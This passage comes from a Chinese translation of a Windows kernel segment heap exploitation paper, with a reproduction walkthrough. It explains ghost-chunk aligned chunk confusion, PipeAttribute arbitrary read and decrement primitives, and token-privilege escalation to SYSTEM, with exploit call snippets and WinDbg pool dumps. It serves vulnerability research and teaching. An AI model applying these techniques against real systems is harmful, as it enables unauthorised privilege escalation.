26px;">现在可以释放被覆盖的块，并且这将触发缓存对齐。它将在OverwritenChunkAddress-（0x15*0x10）处释放区块，也是VulnerableChunkAddress+0x30处，而不是在被覆盖区块的地址释放区块。用于释放的块POOL_HEADER是虚假POOL_HEADER，内核并没有释放漏洞的块，而是释放了一个0x210大小的块，并且将其放在动态链表的顶部。在图17中进行了展示。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000621" data-ratio="0.408812729498164" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="817" src="https://wechat2rss.xlab.app/img-proxy/?k=2861a573&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzc8AdErsNqwttC3NNraTuQNNJvYtTVGJtcORabTulufial4GCIC0U0sqQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图17. 释放被覆盖的块</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不幸的是，虚假POOL_HEADER的PoolType对释放的块是放在PagedPool还是NonPagedPoolNx中没有影响。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">动态快表是由分配的段来选择的，该段是从块的地址派生的。它意味着如果漏洞块在Paged Pool中，那么幽灵块将被放在Paged Pool的快表中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">覆盖的块现在处于丢失状态；内核认为它已经释放了，并且块上的所有引用都已经被删除。它将不会再被使用了。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>泄露幽灵块的内容</strong> 幽灵块现在也可以使用PipeAttribute对象重新分配。PipeAttribute结构会覆盖放在漏洞块的属性值。通过读此管道的属性值，就可以导致幽灵块的PipeAttribute属性内容被泄露。现在已知幽灵块和漏洞块的地址。这一步在图18中介绍了。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000620" data-ratio="0.3601953601953602" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="819" src="https://wechat2rss.xlab.app/img-proxy/?k=b043ac95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcXXAZpjkB2rWJU8ibmvCxjbd2qLMojzx3VyEK0BjREH1CmSheq40BSSA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图18. 泄露幽灵块的属性</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>得到一个任意读原语</strong> 可以再次释放漏洞块，并使用其他的PipeAttribute再次分配。这时，PipeAttribute的数据将覆盖幽灵块的PipeAttribute。因此，幽灵块的PipeAttribute属性将被完全控制。一个新的PipeAttribute属性将被注入到位于用户层的列表中。这一步在图19中进行了介绍。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000623" data-ratio="0.5491124260355029" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="845" src="https://wechat2rss.xlab.app/img-proxy/?k=a8e7b332&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcKge3vncVvX9icHibmLt8TgcNQcsgE7ZkofcvFzRe5BY28akfDaKbWffQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图19. 复写幽灵块的PipeAttribute</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">现在，通过请求读取幽灵块的PipeAttribute属性，内核将使用用户层的PipeAttribute，因此可以实现完全控制。正如之前看到的，通过控制属性值指针和属性值大小，可以提供到一个任意读原语。图20介绍了一个任意读原语。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000622" data-ratio="0.4718826405867971" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="818" src="https://wechat2rss.xlab.app/img-proxy/?k=fb78f37f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcLsuI8Q7ACibv6PJYsVJHUraAAL2gyr2WKApxT4HY1kXMxEHXI9cwFdA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图20. 使用注入的 PipeAttribute 进行任意读取</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用泄露的第一个指针和任意读原语，可以检索npfs的代码节上的指针。通过读取导入表，可以读取ntoskrnl代码节上的指针，它可以提供内核的基址。从那儿开始，攻击者能够读取ExpPoolQuotaCookie值，并检索EXP进程的EPROCESS结构体的地址和TOKEN的地址。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>得到一个任意递减原语</strong> 首先，使用PipeQueueEntry在内核区精心制作一个虚假的EPROCESS结构，并使用任意读来检索它的地址。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后，EXP可以再次释放和重新分配漏洞块，来改变幽灵块的内容和POOL_HEADER。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">幽灵块的POOL_HEADER被下列值覆盖：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PreviousSize：0，或者任意值，这个值没有使用</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolIndex：0，或者任意值，这个值没有使用</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">BlockSize：0x21，这个值将乘以0x10</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolType：8，PoolQuota位被设置</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolQuota：ExpPoolQuotaCookie 异或FakeEprocessAddress 异或 GhostChunkAddress</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">释放幽灵块后，内核将尝试解引用与EPROCESS相关的Quota counter。它将使用虚假EPROCESS结构体来寻找要解引用的指针值。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这将提供任意递减原语。递减的值是PoolHeader中的BlockSize，所以它在0x0到0xff0以0x10对齐。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>从任意递减到System权限</strong> 在2012年，Cesar Cerrudo[3]描述了一种通过设置TOKEN结构体的Privileges.Enable字段来实现权限提升的技术。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Privileges.Enable字段保存了这个进程开启的权限。默认情况下，低完整性的Token的Privileges.Enable字段被设置为0x0000000000800000，这个值只会授予SeChangeNotifyPrivilege。将此位的值减去1，它将变成 0x000000000007fff，这将启用更多的权限。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在bit字段上设置第20bit，可以启用SeDebugPrivilege。SeDebugPrivilege允许一个进程调试系统上的任意进程。因此有能力注入任意代码到特权进程。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">EXP在[1]介绍了配额进程指针覆盖（Quota Pointer Process Overwrite），可以使用任意递减原语来设置其进程的SeDebugPrivilige权限。图21对这个技术进行了介绍。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000627" data-ratio="0.5242030696576151" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="847" src="https://wechat2rss.xlab.app/img-proxy/?k=5da51547&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcwcEjEexeNesdE5ndr0nMfIxVy5UpWQSeUYaLfKWoVFAIZUgHtyJ80g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图21. EXP利用任意递减原语获得SYSTEM权限</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然而，自windows 10 v1607开始，内核开始检查Token结构体的Privileges.Present字段的值。Token的Privileges.Present字段可以通过使用AdjustTokenPrivileges API开启权限列表。所以，Token的实际权限，现在是由Privileges.Present &amp; Privileges.Enable的位域结果来定的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">默认情况下，低完整性级别的Token的Privileges.Present被设置为0x602880000。因为0x602880000 &amp; (1&lt;&lt;20) ==0，在Privileges.Enabled中设置SeDebugPrivilege不足以获取SeDebugPrivilege。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了获得Privileges.Present bitfield中的SeDebugPrivilege，一个想法是递减Privileges.Present的bitfield。然后，攻击者可以使用AdjustTokenPrivileges API来打开SeDebugPrivilege。然而，SepAdjustPrivileges函数额外进行了检查，并且这取决于Token的完整性，一个进程不能启用任意权限，即使需要的权限在Privileges.Present的bitfield中。对于高完整性级别，进程可以启用Privileges.Present位域中的任何权限。对于中完整性级别，一个进程只能开启Privileges.Present特权和0x1120160684位域。对于低完整性级别，一个进程只能开启Privileges.Present特权和0x202800000位域。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这意味着从单一的任意递减原语获取SYSTEM权限的技术已经凉凉。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是，它完全可以用两种任意递减原语来实现，先递减Privileges.Enable，然后递减Privileges.Present。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">幽灵块可以被重新分配，且它的POOL_HEADER可以被再次覆盖，来获得第二个任意递减。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一旦再次获取到SeDebugPrivilege，EXP即可打开任意SYSTEM权限进程，并注入shellcode实现弹出一个SYSTEM权限的shell。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>4.6 讨论当前的EXP<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所提供的漏洞利用代码可在 [2] 处获得，以及易受攻击的驱动程序。这个漏洞只是一个概念证明，可以随时改进。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>4.7 讨论漏洞对象的大小<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">根据易受攻击对象的大小，漏洞利用可能有不同的要求。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上述漏洞利用仅适用于最小大小为 0x130 的漏洞块。这是因为幽灵块的大小必须至少为0x210。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对于大小低于 0x130 的漏洞块，幽灵块的分配将覆盖被覆盖块后面的块，并在释放时触发崩溃。这是可修复的，但是留给读者自己去练习吧。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在LFH的漏洞对象（小于0x200的块）和VS段的漏洞对象（大于0x200）之间有一些不同。主要的是，在VS块的前面有额外的头。它意味着能够控制VS segment 的下一个块的POOL_HEADER，至少需要堆溢出0x14个字节。这也意味着当覆盖的块将被释放时，它的 _HEAP_VS_CHUNK_HEADER 必须已修复。另外，要注意的是不能释放覆盖的块之后2个喷射了合适大小的块，因为VS的释放机制也许会读覆盖的块的头部企图合并3个空闲块。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最后，LFH和VS中的堆处理是相当不同的，正如4.4节中讲到的。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>5 结论<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这篇文章描述了自Windows 10 19H1以来池内部的一个状态。段堆被引入内核且不需要元数据来正常工作。然后，旧的POOL_HEADER依旧存在于每个块的头部，但用法不同。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们演示了一些在内核中使用堆溢出的攻击，通过攻击特定池的内部。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">演示的EXP可以适应任意可以提供最小堆溢出的漏洞，就可以实现从低完整性到SYSTEM完整性的本地权限提升。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>6 引用<span style="display: none;"></span></h4><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Corentin Bayet. Exploit of CVE-2017-6008 with Quota Process Pointer Overwrite attack. <a href="https://github.com/cbayet/Exploit-CVE-2017-6008/blob/master/Windows10PoolParty.pdf," target="_blank">https://github.com/cbayet/Exploit-CVE-2017-6008/blob/master/Windows10PoolParty.pdf,</a> 2017.</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Corentin Bayet and Paul Fariello. PoC exploiting Aligned Chunk Confusion on Windows kernel Segment Heap. <a href="https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion," target="_blank">https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion,</a> 2020.</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Cesar Cerrudo. Tricks to easily elevate its privileges. <a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf," target="_blank">https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf,</a> 2012.</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Matt Conover and w00w00 Security Development. w00w00 on Heap Overflows. <a href="http://www.w00w00.org/files/articles/heaptut.txt," target="_blank">http://www.w00w00.org/files/articles/heaptut.txt,</a> 1999.</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Blackhat DC, 2011.</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Haroon Meer. Memory Corruption Attacks The (almost) Complete History. BlackhatUSA, 2010.</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Mark Vincent Yason. Windows 10 Segment Heap Internals. Blackhat US, 2016.</p></section></li></ol><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>复现<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">原作者在写这边文章的同时，提供了一个demo用演示上述文章内提到的利用技术，这里我们来复现这个demo。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">demo总共分为两部分，分别为漏洞驱动程序和EXP。漏洞驱动使用Visual Studio编译，EXP需要使用GCC编译。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">demo本身实现了两种后端分配器（LFH和VS）的利用，但是在上述文章中是以LFH来进行讲解，所以我们复现也以LFH后端进行复现。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这里我们按照EXP的执行流程进行分析，关于EXP中如何创建管道，如何构造Pipe_Attribute等内容，都很好理解，自行阅读源码即可，就不浪费时间分析了，这里主要复现和分析漏洞利用的关键过程。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>1. 申请漏洞块<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用已经构造好的pipe_attribute来给管道设置属性，实现可以预测的漏洞块的申请。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">spray_pipes(spray1);<br/>uintptr_t vuln = alloc_vuln(xploit);<br/><span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;Vulnerable allocation is at 0x%016llX&#34;</span>, vuln);<br/>spray_pipes(spray2);<br/>//spray1和spray2是构造好的pipe_attribute属性<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">申请的漏洞块如下所示</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"> 0: kd&gt; !pool 0xFFFFB80008CFB3F0<br/>Pool page ffffb80008cfb3f0 region is Paged pool<br/> ffffb80008cfb0c0 size:  190 previous size:    0  (Allocated)  NpAt<br/> ffffb80008cfb250 size:  190 previous size:    0  (Allocated)  NpAt<br/>*ffffb80008cfb3e0 size:  190 previous size:    0  (Allocated) *VULN //这里就是申请的漏洞块<br/>  Owning component : Unknown (update pooltag.txt)<br/> ffffb80008cfb570 size:  190 previous size:    0  (Allocated)  NpAt //与漏洞块相邻的是即将被漏洞块溢出后所覆盖的块，之后我们称之为相邻块<br/> ffffb80008cfb700 size:  190 previous size:    0  (Allocated)  NpAt<br/> ffffb80008cfb890 size:  190 previous size:    0  (Allocated)  NpAt<br/> ffffb80008cfba20 size:  190 previous size:    0  (Allocated)  NpAt<br/> ffffb80008cfbbb0 size:  190 previous size:    0  (Allocated)  NpAt<br/> ffffb80008cfbd40 size:  190 previous size:    0  (Allocated)  NpAt<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">触发漏洞前，漏洞块和相邻块的原始值</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dq ffffb80008cfb3e0<br/>ffffb800`08cfb3e0  4e4c5556`03190000 ffffffff`ffffffff<br/>ffffb800`08cfb3f0  00009d70`0000000a ffffffff`00000168<br/>ffffb800`08cfb400  00000000`00000000 00000056`0000003a<br/>ffffb800`08cfb410  0000000a`00000000 7865646e`49707041<br/>ffffb800`08cfb420  00000000`00007265 000f6b76`ffffffd8<br/>ffffb800`08cfb430  00009670`0000001e 00000001`05f5e10c<br/>ffffb800`08cfb440  4c646578`65646e49 00656761`75676e61<br/>ffffb800`08cfb450  72c66400`fffffff0 00000101`d7ac7dbd<br/>0: kd&gt; dt nt!_POOL_HEADER ffffb80008cfb3e0<br/>   +0x000 PreviousSize     : 0y00000000 (0)<br/>   +0x000 PoolIndex        : 0y00000000 (0)<br/>   +0x002 BlockSize        : 0y00011001 (0x19)<br/>   +0x002 PoolType         : 0y00000011 (0x3)<br/>   +0x000 Ulong1           : 0x3190000<br/>   +0x004 PoolTag          : 0x4e4c5556<br/>   +0x008 ProcessBilled    : 0xffffffff`ffffffff _EPROCESS<br/>   +0x008 AllocatorBackTraceIndex : 0xffff<br/>   +0x00a PoolTagHash      : 0xffff<br/>0: kd&gt; dq ffffb80008cfb570<br/>ffffb800`08cfb570  7441704e`03196900 00000000`ffffffe8 //触发漏洞后，相邻块的POOL_HEADER会被修改<br/>ffffb800`08cfb580  ffffb800`09069850 ffffb800`09069850<br/>ffffb800`08cfb590  ffffb800`08cfb5a8 00000000`00000156<br/>ffffb800`08cfb5a0  ffffb800`08cfb5aa 41414141`4141005a<br/>ffffb800`08cfb5b0  41414141`41414141 41414141`41414141<br/>ffffb800`08cfb5c0  41414141`41414141 41414141`41414141<br/>ffffb800`08cfb5d0  41414141`41414141 41414141`41414141<br/>ffffb800`08cfb5e0  41414141`41414141 41414141`41414141<br/>0: kd&gt; dt nt!_POOL_HEADER ffffb80008cfb570<br/>   +0x000 PreviousSize     : 0y00000000 (0)<br/>   +0x000 PoolIndex        : 0y01101001 (0x69)<br/>   +0x002 BlockSize        : 0y00011001 (0x19)<br/>   +0x002 PoolType         : 0y00000011 (0x3)<br/>   +0x000 Ulong1           : 0x3196900<br/>   +0x004 PoolTag          : 0x7441704e<br/>   +0x008 ProcessBilled    : 0x00000000`ffffffe8 _EPROCESS<br/>   +0x008 AllocatorBackTraceIndex : 0xffe8<br/>   +0x00a PoolTagHash      : 0xffff<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>2. 触发漏洞<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对漏洞块执行复制操作，使其发生溢出，修改相邻块的POOL_HEADER，接着释放漏洞块，同时使用respray再次占用漏洞块。使用respray再次占用漏洞块的目的是为了给幽灵块构造一个POOL_HEADER。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">trigger_vuln(xploit, overflow, xploit-&gt;offset_to_pool_header + 4);<br/>free_vuln();<br/>spray_pipes(xploit-&gt;respray);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">触发漏洞后，相邻块的POOL_HEADER如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; !pool 0xFFFFB80008CFB3F0<br/>Pool page ffffb80008cfb3f0 region is Paged pool<br/> ffffb80008cfb0c0 size:  190 previous size:    0  (Allocated)  NpAt<br/> ffffb80008cfb250 size:  190 previous size:    0  (Allocated)  NpAt<br/>*ffffb80008cfb3e0 size:  190 previous size:    0  (Allocated) *NpAt<br/>  Owning component : Unknown (update pooltag.txt)<br/>//因为我们已经通过溢出修改了相邻块的POOL_HEADER,所以系统认为当前的相邻块不是有效的池分配。<br/>ffffb80008cfb570 doesn<span style="color: #98c379;line-height: 26px;">&#39;t look like a valid small pool allocation, checking to see<br/>if the entire page is actually part of a large page allocation...<br/>ffffb80008cfb570 is not a valid large pool allocation, checking large session pool...<br/>Unable to read large session pool table (Session data is not present in mini and kernel-only dumps)<br/>ffffb80008cfb570 is not valid pool. Checking for freed (or corrupt) pool<br/>Bad allocation size @ffffb80008cfb570, zero is invalid<br/>***<br/>*** An error (or corruption) in the pool was detected;<br/>*** Attempting to diagnose the problem.<br/>***<br/>*** Use !poolval ffffb80008cfb000 for more details.<br/>Pool page [ ffffb80008cfb000 